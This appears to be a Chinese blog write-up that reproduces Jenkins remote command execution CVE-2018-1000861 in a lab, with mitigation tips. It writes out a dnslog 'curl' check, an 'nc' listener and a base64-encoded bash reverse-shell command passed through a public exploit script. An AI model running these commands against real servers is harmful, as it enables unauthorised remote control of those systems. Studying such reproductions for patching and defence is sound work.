Jenkins 远程命令执行漏洞 (CVE-2018-1000861)复现

漏洞描述(介绍、成因)

Jenkins使用Stapler框架开发,其允许用户通过URL PATH来调用一次public方法。由于这个过程没有做限制,攻击者可以构造一些特殊的PATH来执行一些敏感的Java方法。

通过这个漏洞,我们可以找到很多可供利用的利用链。其中最严重的就是绕过Groovy沙盒导致未授权用户可执行任意命令:Jenkins在沙盒中执行Groovy前会先检查脚本是否有错误,检查操作是没有沙盒的,攻击者可以通过Meta-Programming的方式,在检查这个步骤时执行任意命令。

漏洞危害
  • 获取服务器权限
  • 获取敏感数据文件
  • 写入恶意文件getshell
  • 植入木马病毒勒索软件等
适用场景
  • Jenkins主版本 <= 2.153
  • Jenkins LTS版本 <= 2.138.3
实验环境

个人虚拟机

  • 攻击机:
    • Centos7 192.168.10.135
  • 靶机:
    • vulhub 192.168.10.128
漏洞复现过程
1、 开启docker环境

在这里插入图片描述

访问页面,http://192.168.10.128:8000/

在这里插入图片描述

2、通过dnslog检测漏洞是否存在
python exp.py http://192.168.10.128:8080 'curl mmjje4.dnslog.cn'

在这里插入图片描述

Dnslog存在回显,即存在漏洞

在这里插入图片描述

3、监听端口
nc -lvp 12333

在这里插入图片描述

4、利用exp获取反弹shell

1)通过base64加密命令
在这里插入图片描述

2)执行exp

python exp.py http://192.168.10.128:8080/ "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjEwLjEzNS8xMjMzMyAwPiYxIA==}|{base64,-d}|{bash,-i}"

在这里插入图片描述

3)成功反弹shell

在这里插入图片描述

修复建议
  • 升级到最新版本或打上相关补丁;
  • 尽量不要开放到公网上;
  • 限制IP访问。
扩展知识(链接、文章)

漏洞EXP:https://github.com/orangetw/awesome-jenkins-rce-2019

参考链接:【漏洞复现】Jenkins远程命令执行漏洞(CVE-2018-1000861)


注:本文章仅作技术学习作用,一切实验皆在个人虚拟环境下进行!!!

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值